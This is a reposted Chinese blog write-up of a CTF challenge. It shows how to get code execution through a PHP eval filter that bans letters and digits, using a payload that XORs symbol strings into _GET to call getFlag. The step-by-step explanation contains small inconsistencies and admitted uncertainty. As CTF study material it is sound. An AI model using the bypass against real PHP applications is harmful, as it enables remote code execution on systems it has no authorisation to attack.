码迷,mamicode.com
首页 > 系统相关 > 详细

getshell不用英文数字

时间:2018-11-10 22:43:10      阅读:274      评论:0      收藏:0      [点我收藏+]

标签:分割   php   tps   技术分享   getshell   lag   异或   传递   alt   

getshell不用英文字母和数字

上代码

技术分享图片

实际代码没有echo strlen($code);我测试的时候加上去的

技术分享图片

思路是eval执行getFlag函数。  

过滤了字母和数字,长度得小于40

直接看payload吧:

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag  

这里给大家说说我的疑惑:

①$_是什么玩意?  _是变量的名字。这句话的意思是定义了个变量,名字叫做_(你想问为什么起个这么别扭的名字那就去搜一下php变量命名规则)
②"`{{{"^"?<>/"实际是代表了双引号里面四个值对应异或,异或后的结果是_GET  
③${$_}[_](${$_}[__]),按照$_是_GET拼接就好了。$_GET[_]($_GET(__))  
④不是说过滤了英文字母了吗?为什么后边还有getFlag。&是传递参数是的分割符,code确实是过滤了英文字符,但是&_=getFlag中_是变量,他并没有过滤。    
⑤{}是个省力的操作,不需要用.再来连接
⑥他是怎么执行的?
@eval($_=_GET;$_GET[_]($_GET(__));&_=getFlag);  
这个代码可以直接看做  
@eval($_GET[_]($_GET(__));&_=getFlag);  
进一步变为  
@eval(getFlag($_GET(__)););   

我现在不明白getFlag()括号里的$_GET(__)有什么用,我直接去掉()里面的也可以成功的得到flag,最起码在这道题目里面并没有要求传递参数。

getshell不用英文数字

标签:分割   php   tps   技术分享   getshell   lag   异或   传递   alt   

原文地址:https://www.cnblogs.com/zaqzzz/p/9940775.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!